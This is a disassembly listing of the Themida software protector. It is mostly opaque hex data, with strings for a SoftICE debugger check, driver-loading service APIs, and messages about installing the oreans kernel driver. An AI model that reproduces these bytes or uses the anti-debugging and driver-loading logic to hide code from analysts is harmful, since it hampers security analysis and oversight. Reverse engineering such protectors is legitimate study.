dd 6C74209Bh, 56B89EA4h, 0A4CC5808h, 1D53075h, 571E040Ah dd 0A325808h, 93432072h, 812E7C28h, 0A958FADEh, 15C1FADCh dd 53838EBDh, 89492068h, 0D50368A5h, 876474A3h, 57246C4Fh dd 39913D80h, 4493A00Ah, 0F75BCD79h, 8635A15Bh, 3D805734h dd 335D1EF5h, 0FEA0E2A6h, 6A1765CFh, 8DA7E3C7h, 5E2B734Ah dd 8184774h, 4B6E6330h, 0D18479Fh, 3A47F3CAh, 0A1676C9Eh dd 42EE8635h, 420A52EAh, 828563Ch, 0C9F4E358h, 18FFC51Dh dd 483030F7h, 1140D842h, 82379AA7h, 0F208C9D6h, 2F5F1682h dd 711DB537h, 961B375Bh, 0E235F01h, 9A5A4046h, 466E5808h dd 0F2CB0C17h, 18F1C8A0h, 0F296C92Bh, 0FEE4EA32h, 125808B5h dd 26B0BBEAh, 6BA3E995h, 44EE191Ch, 8A4CE0A2h, 0E31D0672h dd 0C4114D73h, 0A7FFAB14h, 0F6E0BD0Fh, 0CB0C19C5h, 6CD046F2h dd 0FBC0162Eh, 0B740DCB3h, 0A4CB0421h, 4E886575h, 493098AEh dd 0B70463A4h, 99F19D20h, 0DB495501h, 96E5EB33h, 6C166F6Dh dd 0A816F244h, 3EAAB0F8h, 4E1C84ECh, 0AA727A26h, 0A6ECBEA4h dd 7BAAD21Ch, 0D556670h, 0ED593F45h, 456D1CA6h, 572E0616h dd 0C21AAF5Bh, 0EAD29EDh, 25720A62h, 75F0BB2h, 0B209CDD8h dd 3036FE06h, 1CA72C4Ah, 0C307365Eh, 1E4F47DEh, 46FE9C00h dd 1D92B90h, 6E1AA334h, 0B00FC916h, 727DAC04h, 9EAB5764h dd 0C9D68237h, 0F906B209h, 0FD31DDDCh dd 0E3787919h, 0EBEB0141h, 6C525820h, 801E9248h, 47ECD258h dd 0D8001E92h, 0A62BF840h, 0E00F6713h, 28E3F3D0h, 0BB417C5Bh dd 1E9247D5h, 7D29C1E9h, 146Fh, 4017C600h, 0A6BCA12Bh dd 6A50561Ch, 7E51F2E4h, 568FBE56h, 0F5CA12EFh, 219A3C49h dd 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch dd 33884A57h, 64597A87h, 746833B8h, 89000031h, 8952240Ch dd 4C281E2h, 81000000h, 4EAh, 24148700h, 2434895Ch, 47CB68h dd 24148900h, 51256851h, 81591EFBh, 9A5922F1h, 0AAE9816Bh dd 49497213h, 824CE981h, 0CE89B661h, 76C68159h, 815BCF0Dh dd 0BA2095C6h, 4EC8134h, 89000000h, 4812424h, 424h, 8F565A00h dd 34FF0842h, 0C4835A24h, 24348B04h, 81E68956h, 4C6h, 4C68100h dd 87000000h, 0E95C2434h, 0FFFDD55Fh, 6437EF17h, 16A83BB8h dd 0FFC50306h, 0A2DBD8E0h, 704C504h, 890E664Bh, 10E85Ch dd 13BA0000h, 7FE1B68Fh, 0C25946AAh, 3DD62F36h, 0BB668FBFh dd 805A8A40h, 0C281EDF3h, 6AA2h, 0CE8h, 622F0200h, 87048AA1h dd 4E89C962h, 2800F23h, 50000000h, 0F2BF585Bh, 811C7451h dd 743776EFh, 6CF801Ch, 0F600A8Bh, 1689h, 11E900h, 3B980000h dd 53A66BA5h, 9A70F510h, 0D988E77h, 610A808Fh, 0D1B1E981h dd 0F08B57A4h, 3599C181h, 0BE93C87h, 44000000h, 341E4F7Ah dd 8DFCC24h, 0E9810E0Ch, 67F488ECh, 7441B866h, 0BE90A89h dd 38000000h, 0D33A316Fh, 6357E075h, 0EA835B15h, 3BE6604h dd 1EF833Ah, 0FF96850Fh, 0F681FFFFh aNxsn db 'т[╜XИ█',0 ; DATA XREF: Themida_:005495CCo align 4 dd 0BD836000h, 6140359h, 5840F00h, 0E9000000h, 78h, 3E80006Ah dd 8850F30h, 6A000000h, 35E94600h, 80000000h, 850F333Eh dd 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h, 13E9h dd 353E8000h, 8850Fh, 406A0000h, 2E946h, 6A0000h, 0F203E80h dd 1285h, 17E8000h, 8850F00h, 83000000h, 15E908C4h, 8D000000h dd 14079585h, 4895006h, 96509624h, 95FF006Ah, 61402C1h dd 85C6C361h, 6141A59h, 4E84Dh, 76A80000h, 8B50A435h, 8B042444h dd 24448900h, 0B5FF5804h, 6140931h, 3B13858Dh, 0D0FF0614h dd 2C18589h, 1EEB0614h, 5C2E5C5Ch, 45434953h, 2E5C5C00h dd 5749535Ch, 444956h a_Ntice db '\\.\NTICE',0 ; DATA XREF: Themida_:005491F8o dw 0C08Bh dd 0CF8B6656h, 0B1BD835Eh, 61430h, 0BD830975h, 6141AE1h dd 50197400h, 0B8C08B53h, 40Fh, 1A498589h, 9D8D0614h, 616B73Ah dd 585BD3FFh, 1AE1BD83h, 74000614h, 0B8535017h, 40Fh, 1A498589h dd 9D8D0614h, 616B429h, 585BD3FFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 6DC35646h, 9ED9589h, 6A0614h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 3ED9E8C3h, 0A7F8EB09h, 5CBED781h, 0C08B1D09h, 25899D89h dd 85C60614h, 6141A59h, 55006A43h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 3B0B0BBBh, 219C496Eh dd 14E9h, 89833F00h, 8B6269B0h, 0FADC1301h, 35B0E566h dd 0CA5FDCE6h, 2D016869h, 8B6647D1h, 240481CBh, 74BD41FBh dd 0FFFE8B66h, 141145B5h, 0ECCA8106h, 8D5985DAh, 143B1385h dd 10E906h, 489F0000h, 0D6305267h, 0B1E86448h, 4DD3F28Eh dd 8D8B6641h, 6143085h, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 1D4C94C3h, 0FE9E1h, 56DE0000h dd 543FBA4Fh, 33CB7D5Bh, 7FBFED3Ah, 606090F8h, 12E9h, 927F5900h dd 0BF9F881Fh, 9F806A31h, 0F6C07A27h, 8B0DD58Bh, 8B6661CEh dd 515061C6h, 4AAE26BFh, 6A905900h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 839FC352h dd 9DBD8B29h, 6A06142Fh, 38A0F00h, 0F000000h, 0CB68FABFh dd 50E307DBh, 4FBE6652h, 60310F5Ah, 310F5250h, 5853585Ah dd 81585A61h, 24B52404h, 81661CF8h, 6A6803E6h, 45BD0B03h dd 6A061431h, 36AF900h, 9E9h, 5A891D00h, 230E2E4Eh, 4E883A5h dd 0 dd 0B1C00000h, 5060508Fh, 0B2310F52h, 50585AE5h, 13E852h dd 3130000h, 14F8A24Ch, 7BCAE13Bh, 7B0DAC17h, 1E4E0A60h dd 310F5B65h, 585AE6B5h, 24448B61h, 0FB8B6604h, 77BF008Bh dd 89383CE3h, 60042444h, 61DE8B66h, 89958958h, 8D06142Fh dd 16AA599Dh, 68B0F06h, 89000000h, 140BFDBDh, 0DE99306h dd 0D0000000h, 5A4F764Ah, 25925D14h, 2FBD3C6Ah, 2FBA9350h dd 0FF4D84A7h, 0EE9D0h, 67060000h, 0A26EEF0h, 0C0446454h dd 621A92D0h, 8F850F40h, 66000002h, 0DE42E681h, 0B5958B58h dd 50061416h, 12E8h, 0A22D2900h, 731DD64Fh, 0CF1DFA3Dh dd 6FDBBF29h, 66585FBAh, 5FB7B1BAh, 81240489h, 5E835DEEh dd 0FC006A5Ch, 0DDE2C968h, 8E835h, 61770000h, 0F903AE1Ch dd 815E11DBh, 0E2492434h, 10E935DDh, 97000000h, 43A4C8BDh dd 2CCA8884h, 3E922C07h, 6A6EE40Ch, 6A006A03h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 7032C357h, 0F08B036Ah, 0D9BDA368h, 665360A0h, 615FF98Bh dd 5D240481h, 0BA1F2642h, 12F741E7h, 0AA629D8Dh, 9EB20616h dd 19870F93h, 0E8000000h, 0Fh, 796646C1h, 9D822777h, 0D6715B58h dd 667012DFh, 5FEB1ABEh, 0D95EBE50h, 23932D8Fh, 140839BDh dd 40D0FF06h, 1B0850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 23DE81C3h, 622899B5h dd 0A1BEAED4h, 587F39D4h, 2E5958Bh, 60500614h, 50F28B66h dd 0EC2DB852h, 310F785Eh, 5AF28B66h, 4896158h, 11E924h dd 512C0000h, 0E181674Dh, 7D888DD0h, 0DE02646Ah, 6A84EEFEh dd 12E900h, 0F8F70000h, 0B34FC513h, 0D4F9F24Ch, 93A8CE3Fh dd 0A2D3F9CBh, 0E2B52D68h, 0AE86022h, 14000000h, 0EA8E3936h dd 0FEAB0E26h, 0CFB3BF11h, 0F5A0186h, 389h, 0CA8B6600h dd 24348161h, 22E2B5ADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 26C35343h, 0B9A0C34h, 8E35E808h, 91F18166h dd 9036A1Ah, 1425CDBDh, 6A006A06h, 2D958B03h, 8B061408h dd 1404858Dh, 0AEAB6806h, 5250ACEDh, 0F62143BAh, 0F310F63h dd 48Fh, 99BE6600h, 81585AF8h, 0AEAB2434h, 6A6CEDh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0AFE59FC3h, 0BF0FEB8Ah, 6D9D8DCBh, 890616AAh, 140679B5h dd 0F539306h, 198Bh, 14E900h, 20B80000h, 0DD983E86h, 6261455Fh dd 52A83713h, 46E1DF7Bh, 505A7486h, 0B6C68B60h, 0FF9361E9h dd 0BA6653D0h, 405E7341h, 44850Fh, 10E90000h, 0F8000000h dd 0B372F737h, 54E26B01h, 0CADD65DCh, 8BC5F36Fh, 140385BDh dd 8D295806h, 6141BC5h, 145E9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0D88BB1D5h dd 31E1B50Bh, 4BF80614h, 11E9h, 6AB61600h, 804340EFh, 2C0EA1BEh dd 0F951C0CBh, 0F58B129h, 85C6CFB7h, 6141A59h, 53006A43h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 958BFD81h, 6142FB9h, 0D210E3BEh, 898D2B4Bh, 6806142Eh dd 0BFDA3AFEh, 3860Fh, 8B660000h, 243481F3h, 7FAC7059h dd 6E8F5h, 2C270000h, 4B59F1B2h, 5E85DF81h, 0FF5E3D39h dd 141145B5h, 0D6EA8106h, 97E97CCh, 14306DB5h, 13858D06h dd 6A06143Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0C2EDC351h, 56F36A82h, 0A2491C4Ah dd 19BD8589h, 0D0FF0614h, 8B50EE8Ah, 241C89F9h, 35958B60h dd 66061422h, 617B5CB9h, 0BD8BD0FFh, 614211Dh, 70F09D8Dh dd 85890614h, 6142249h, 12E9h, 0C225BA00h, 0DC4FA80Ah dd 7D3D5CD6h, 0FC786CCDh, 0B84D88FDh, 1, 6C56EE81h, 0E3FF0F62h dd 0CE853h, 70550000h, 39F28C3Ah, 3AA8EF82h, 59514F94h dd 0C18B5F59h, 0AD8D8960h, 60061402h, 8C0Fh, 9D890000h dd 6140619h, 0C08B6161h, 8830Fh, 89510000h, 1412BD8Dh dd 0BD835A06h, 61430B1h, 83097500h, 141AE1BDh, 19740006h dd 0C08B5350h, 40FB8h, 0C1858900h, 8D061430h, 16B7A19Dh dd 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h, 40FB8h, 0C1858900h dd 8D061430h, 16B4429Dh, 5BD3FF06h, 0FDBD2958h, 8B061419h dd 8E8C0h, 42380000h, 0F51FB5D1h, 8C0F9C65h, 6, 2E8D9D8Bh dd 0E9580614h, 5, 0E68748BFh, 37C0811Eh, 8B00006Eh, 1B6F68D9h dd 8B660000h, 8B665FDFh, 81108BCFh, 0F768B4F2h, 0DF8B6605h dd 8550EA81h, 7B15FCCh, 1E37C281h, 0B58B4896h, 61416A5h dd 0B5891089h, 6140541h, 0F03E883h, 680h, 0EDB50900h, 48061423h dd 3C59D8Bh, 0EF830614h, 0BA850F01h, 3FFFFFFh, 1425959Dh dd 0AAE906h, 6F530000h, 61777466h, 575C6572h, 694C6E69h dd 736E6563h, 68430065h, 496B6365h, 7058004Eh, 45746F72h dd 746978h, 63656843h, 54554F6Bh, 6E695700h, 6563694Ch dd 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h dd 69724465h, 56726576h, 69737265h, 57006E6Fh, 694C6E69h dd 736E6563h, 736E4965h, 636E6174h, 78450065h, 6B4F7469h dd 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h dd 4F746978h, 54005455h, 4E4970h, 3 dup(0) dd 77DDAF7Fh, 77DD72F0h, 596E9h, 5D858900h, 8D0616B2h dd 16B25985h, 858D5006h, 616B1C3h, 16850h, 95FF8000h, 616B269h dd 0B5FF196Ah, 616B25Dh, 6A016Ah, 0B1F2858Dh, 0FF500616h dd 16B259B5h, 8D95FF06h, 0FF06141Ah, 16B259B5h, 6595FF06h dd 0FF0616B2h, 16B259B5h, 0F595FF06h, 0C306141Ch, 0B25D8589h dd 858D0616h, 616B259h, 0C3858D50h, 500616B1h, 168h, 6995FF80h dd 6A0616B2h, 5D858D04h, 500616B2h, 6A046Ah, 0B21C858Dh dd 0FF500616h, 16B259B5h, 8D95FF06h, 0FF06141Ah, 16B259B5h dd 6595FF06h, 0FF0616B2h, 16B259B5h, 0F595FF06h, 0C306141Ch dd 0B25D8589h, 858D0616h, 616B259h, 0C3858D50h, 500616B1h dd 168h, 6995FF80h, 6A0616B2h, 5D858D04h, 500616B2h, 6A046Ah dd 0B204858Dh, 0FF500616h, 16B259B5h, 8D95FF06h, 0FF06141Ah dd 16B259B5h, 6595FF06h, 0FF0616B2h, 16B259B5h, 0F595FF06h dd 0C306141Ch, 0B25D8589h, 858D0616h, 616B259h, 0C3858D50h dd 500616B1h, 168h, 6995FF80h, 6A0616B2h, 5D858D04h, 500616B2h dd 6A046Ah, 0B22F858Dh, 0FF500616h, 16B259B5h, 8D95FF06h dd 0FF06141Ah, 16B259B5h, 6595FF06h, 0FF0616B2h, 16B259B5h dd 0F595FF06h, 0C306141Ch, 0B25D8589h, 858D0616h, 616B259h dd 0C3858D50h, 500616B1h, 168h, 6995FF80h, 6A0616B2h, 5D858D04h dd 500616B2h, 6A046Ah, 0B1DF858Dh, 0FF500616h, 16B259B5h dd 8D95FF06h, 0FF06141Ah, 16B259B5h, 6595FF06h, 0FF0616B2h dd 16B259B5h, 0F595FF06h, 0C306141Ch, 34F1BD83h, 0F000614h dd 0B84h, 0F19D8B00h, 83061434h, 3894CC3h, 0F1BD83C3h dd 61434h, 0B840Fh, 9D8B0000h, 61434F1h, 8950C383h, 0BD83C303h dd 61434F1h, 0B840F00h, 8B000000h, 1434F19Dh, 54C38306h dd 83C30389h, 1434F1BDh, 840F0006h, 0Bh, 34F19D8Bh, 0C3830614h dd 0C3038958h, 34F1BD83h, 0F000614h, 0B84h, 0F19D8B00h dd 83061434h, 3895CC3h, 8960C3C3h, 16B25D85h, 59858D06h dd 500616B2h, 0B1C3858Dh, 68500616h, 80000001h, 0B26995FFh dd 46A0616h, 0B25D858Dh, 6A500616h, 8D006A04h, 16B25485h dd 0B5FF5006h, 616B259h, 1A8D95FFh, 0BD830614h, 61430B1h dd 0C840F00h, 0FF000000h, 16B259B5h, 6595FF06h, 0FF0616B2h dd 16B259B5h, 0F595FF06h, 6106141Ch, 858960C3h, 616B25Dh dd 0B259858Dh, 8D500616h, 16B1C385h, 1685006h, 0FF800000h dd 16B26995h, 8D046A06h, 16B25D85h, 46A5006h, 858D006Ah dd 616B236h, 59B5FF50h, 0FF0616B2h, 141A8D95h, 0B1BD8306h dd 61430h, 0C840Fh, 0B5FF0000h, 616B259h, 0B26595FFh, 0B5FF0616h dd 616B259h, 1CF595FFh, 0C3610614h, 5D858960h, 8D0616B2h dd 16B25985h, 858D5006h, 616B1C3h, 16850h, 95FF8000h, 616B269h dd 858D046Ah, 616B25Dh, 6A046A50h, 3D858D00h, 500616B2h dd 0B259B5FFh, 95FF0616h, 6141A8Dh, 30B1BD83h, 0F000614h dd 0C84h, 59B5FF00h, 0FF0616B2h, 16B26595h, 59B5FF06h dd 0FF0616B2h, 141CF595h, 60C36106h, 0B25D8589h, 858D0616h dd 616B259h, 0C3858D50h, 500616B1h, 168h, 6995FF80h, 6A0616B2h dd 5D858D04h, 500616B2h, 6A046Ah, 0B245858Dh, 0FF500616h dd 16B259B5h, 8D95FF06h, 8306141Ah, 1430B1BDh, 840F0006h dd 0Ch, 0B259B5FFh, 95FF0616h, 616B265h, 0B259B5FFh, 95FF0616h dd 6141CF5h, 8960C361h, 16B25D85h, 59858D06h, 500616B2h dd 0B1C3858Dh, 68500616h, 80000001h, 0B26995FFh, 46A0616h dd 0B25D858Dh, 6A500616h, 8D006A04h, 16B24C85h, 0B5FF5006h dd 616B259h, 1A8D95FFh, 0BD830614h, 61430B1h, 0C840F00h dd 0FF000000h, 16B259B5h, 6595FF06h, 0FF0616B2h, 16B259B5h dd 0F595FF06h, 6106141Ch, 85C760C3h, 616B25Dh, 1, 0B259858Dh dd 8D500616h, 16B1C385h, 2685006h, 0FF800000h, 16B26995h dd 0FC00B06h, 0F84h, 5D85C700h, 616B2h, 0E9000000h, 4Dh dd 858D046Ah, 616B25Dh, 6A046A50h, 0D7858D00h, 500616B1h dd 0B259B5FFh, 95FF0616h, 6141A8Dh, 840FC00Bh, 0Fh, 0B25D85C7h dd 616h, 0AE90000h, 0C7000000h, 16B25D85h, 106h, 59B5FF00h dd 0FF0616B2h, 141CF595h, 858B6106h, 616B25Dh, 858960C3h dd 616B25Dh, 0B259858Dh, 8D500616h, 16B1C385h, 1685006h dd 0FF800000h, 16B26995h, 8D046A06h, 16B25D85h, 46A5006h dd 858D006Ah, 616B1D7h, 59B5FF50h, 0FF0616B2h, 141A8D95h dd 0B1BD8306h, 61430h, 0C840Fh, 0B5FF0000h, 616B259h, 0B26595FFh dd 0B5FF0616h, 616B259h, 1CF595FFh, 0C3610614h, 5D858960h dd 8D0616B2h, 16B25985h, 858D5006h, 616B1C3h, 16850h, 95FF8000h dd 616B269h, 858D046Ah, 616B25Dh, 6A046A50h, 0E9858D00h dd 500616B1h, 0B259B5FFh, 95FF0616h, 6141A8Dh, 30B1BD83h dd 0F000614h, 0C84h, 59B5FF00h, 0FF0616B2h, 16B26595h dd 59B5FF06h, 0FF0616B2h, 141CF595h, 0C6C36106h, 141A5985h dd 7685206h, 0FFADE47Bh, 143481B5h, 1195FF06h, 89061423h dd 16B26985h, 5985C606h, 5206141Ah, 2E00E568h, 81B5FF90h dd 0FF061434h, 14231195h, 65858906h, 0C60616B2h, 141A5985h dd 35685206h, 0FFB9BF12h, 143481B5h, 1195FF06h, 89061423h dd 141A8D85h, 5985C606h, 5206141Ah, 78103468h, 81B5FF98h dd 0FF061434h, 14231195h, 0F5858906h, 0C606141Ch, 141A5985h dd 0D4685206h, 0FFC005DBh, 143481B5h, 1195FF06h, 89061423h dd 1402ED85h, 99E906h, 622F0000h, 68636775h, 326B6365h dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 16B923BDh dd 840F0006h, 0Ah, 1AE185C7h, 10614h, 85C60000h, 6141A59h dd 4E847h, 6C8D0000h, 8B50906Dh, 8B042444h, 24448900h dd 0B5FF5804h, 6141145h, 3B13858Dh, 0D0FF0614h, 0F88BD0FFh dd 0F223F80h, 2285h, 22B04700h, 0F9850FAEh, 80FFFFFFh dd 840F003Fh, 31Eh, 3F8047h, 314840Fh, 1EE90000h, 80000000h dd 840F003Fh, 306h, 0F203F80h, 685h, 6E94700h, 47000000h dd 0FFFFE2E9h, 3F80FFh, 5850Fh, 0E3E90000h, 0E9000002h dd 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh, 5850F00h, 0E9000000h dd 2C6h, 0AE8h, 0FFCBE900h, 0B7E9FFFFh, 8D000002h, 16B8A3B5h dd 225E806h, 0BD030000h, 616B938h, 0B938BD83h, 0F000616h dd 0B84h, 0B185C700h, 1061430h, 0C3000000h, 0B8AEB58Dh dd 0FCE80616h, 3000001h, 16B938BDh, 38BD8306h, 616B9h dd 0B840Fh, 85C70000h, 6141AE1h, 1, 27B58DC3h, 0E80616B9h dd 1D3h, 0B938BD03h dd 0BD830616h, 616B938h, 0B840F00h, 0C7000000h, 14035985h dd 106h, 0B58DC300h, 616B8B8h, 1AAE8h, 38BD0300h, 830616B9h dd 16B938BDh, 840F0006h, 0Bh, 1AE185C7h, 10614h, 8DC30000h dd 16B8C2B5h, 181E806h, 0BD030000h, 616B938h, 0B938BD83h dd 0F000616h, 1584h, 0E185C700h, 106141Ah, 0C7000000h dd 1430B185h, 106h, 0B58DC300h, 616B8D0h, 14EE8h, 38BD0300h dd 830616B9h, 16B938BDh, 840F0006h, 0Ah, 0D0985C7h, 10614h dd 0B58D0000h, 616B8DAh, 126E8h, 38BD0300h, 830616B9h dd 16B938BDh, 840F0006h, 0Ah, 0D0985C7h, 10614h, 0B58D0000h dd 616B8E5h, 0FEE8h, 38BD0300h, 830616B9h, 16B938BDh, 840F0006h dd 0Ah, 65D85C7h, 10614h, 0B58D0000h, 616B8EBh, 0D6E8h dd 38BD0300h, 830616B9h, 16B938BDh, 840F0006h, 0Ah, 2E7185C7h dd 10614h, 0B58D0000h, 616B8F1h, 0AEE8h, 38BD0300h, 830616B9h dd 16B938BDh, 840F0006h, 0Ah, 0CAD85C7h, 10614h, 0B58D0000h dd 616B8FFh, 86E8h, 38BD0300h, 830616B9h, 16B938BDh, 840F0006h dd 0Ah, 211985C7h, 10614h, 0B58D0000h, 616B90Ch, 5EE8h dd 38BD0300h, 830616B9h, 16B938BDh, 840F0006h, 0Ah, 0B0585C7h dd 10614h, 0B58D0000h, 616B917h, 36E8h, 38BD0300h, 830616B9h dd 16B938BDh, 840F0006h, 0Ah, 1CA185C7h, 10614h, 1E90000h dd 47000000h, 0F203F80h, 984h, 3F8000h, 0FFED850Fh, 60C3FFFFh dd 1B9h, 0E9DE8B00h, 1Fh, 0F003F80h, 585h, 0B900h, 178A0000h dd 840F1638h, 5, 0B9h, 80474600h, 840F003Eh, 8, 850FC90Bh dd 0FFFFFFD0h, 840FC90Bh, 21h, 0F003F80h, 984h, 203F8000h dd 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h, 0FC90B00h, 0D84h dd 89F32B00h, 16B938B5h, 0AE906h, 85C70000h, 616B938h dd 0 dd 0B8C361h, 0B000000h, 0A840FC0h, 0C7000000h, 140D0985h dd 6, 0E8C88B00h, 13h, 0F8523FC8h, 0F7460024h, 8F13BA3Bh dd 0AA7FE1B6h, 60C25946h, 0F60C88Bh, 8Ch, 0FA72BA00h, 61617E9Dh dd 0E1D6815Bh, 8121858Dh, 662FC3h, 0FBF3BF00h, 0BA7B43h dd 80000000h, 0C8B04CCh, 81C68B13h, 3820D6C1h, 29858B7Fh dd 81061409h, 3A16EDF1h, 0A98D0908h, 8106142Ah, 0C143A3F1h dd 0BD9D8949h, 51061423h, 34CDBD2Bh, 48F0614h, 3D9D0913h dd 60061403h, 0FE9h, 570F3100h, 0AEFCF3F8h, 78850523h dd 814748FFh, 5C88166h, 0EA816181h, 44EE93A1h, 30618D89h dd 0C2810614h, 44EE939Dh, 9E9h, 9DF9ED00h, 0CD04C81Dh dd 0FA81A38Dh, 0FFFF9AB4h, 16850Fh, 0C18A0000h, 22E9h dd 621D7F00h, 0AB070137h, 0F86E0861h, 115ABAD0h, 28F0Fh dd 0C18B0000h, 0FFFF5DE9h, 5680EBFFh, 0E9278D89h, 20Eh dd 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h dd 676F7270h, 2E6D6172h, 68h dup(0) aOreans_vxd db '\Oreans.vxd',0 dd 2 dup(0) dd 0EFE90000h, 0C6000000h, 141A5985h, 86684706h, 0FFE3E45Bh dd 141145B5h, 13858D06h, 0FF06143Bh, 10468D0h, 9D8D0000h dd 61411A9h, 50D0FF53h, 0BFBDB58Dh, 0FE8B0616h, 0FAEC032h dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 1A5985C6h dd 68430614h, 0BC8E6EFCh, 1145B5FFh, 858D0614h, 6143B13h dd 0B58DD0FFh, 61411A9h, 8068006Ah, 6A000000h, 6A006A02h dd 6800h, 0FF56C000h, 0C6D88BD0h, 141A5985h, 56685706h dd 0FFA69BEEh, 141145B5h, 13858D06h, 0FF06143Bh, 0C5BD8DD0h dd 8D06141Ch, 16C0E38Dh, 57006A06h, 37D068h, 0FF535100h dd 0FC085D0h, 1B85h, 0C5B58D00h, 8D0616BDh, 16A99A85h dd 8DD0FF06h, 1470F08Dh, 0B806h, 0E1FF0000h, 1A5985C6h dd 68430614h, 0C0764AA7h, 1145B5FFh, 858D0614h, 6143B13h dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0 dd 0EC08358h, 2E90889h, 8B000000h, 37D0E9C3h, 5A4D0000h dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 0 dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0 dd 454C0000h, 0 dd 20000h, 4, 80000000h, 140003h, 4 dup(0) dd 2000000h, 1C00000h, 900000h, 0 dd 7E0000h, 0 dd 0C40000h, 10000h, 0DC0000h, 3 dup(0) dd 12C0000h, 1380000h, 2 dup(0) dd 1420000h, 1960000h, 1D20000h, 0 dd 1D20000h, 0 dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0) dd 27C00400h, 0 dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h dd 30001h, 2 dup(0) dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h dd 360h dup(0) dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h dd 8 dup(0) dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h dd 5273h, 736h dup(0) db 0 byte_5779ED db 3 dup(0) ; DATA XREF: Themida_:0054BA68o ; Themida_:0054BD14o dd 28Ch dup(0) dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0) dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 0B7E90000h dd 41000010h, 50415644h, 2E323349h, 4C4C44h, 6E65704Fh dd 614D4353h, 6567616Eh, 43004172h, 74616572h, 72655365h dd 65636976h, 74530041h, 53747261h, 69767265h, 416563h dd 4E746547h, 76697461h, 73795365h, 496D6574h, 6F666Eh dd 6E65704Fh, 76726553h, 41656369h, 6C654400h, 53657465h dd 69767265h, 43006563h, 65736F6Ch, 76726553h, 48656369h dd 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch, 65636976h dd 8 dup(0) dd 65726F00h, 33736E61h, 79732E32h, 73h, 0 dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0) aOreans32 db 'oreans32',0 a_Oreans32 db '\\.\oreans32',0 a_GlobalOreans3 db '\\.\Global\oreans32',0 aOreansx64 db 'oreansx64',0 a_GlobalOreansx db '\\.\Global\oreansx64',0 align 4 dd 41h dup(0) dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h dd 736E6165h, 732E3233h, 7379h, 48h dup(0) dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h dd 676F7270h, 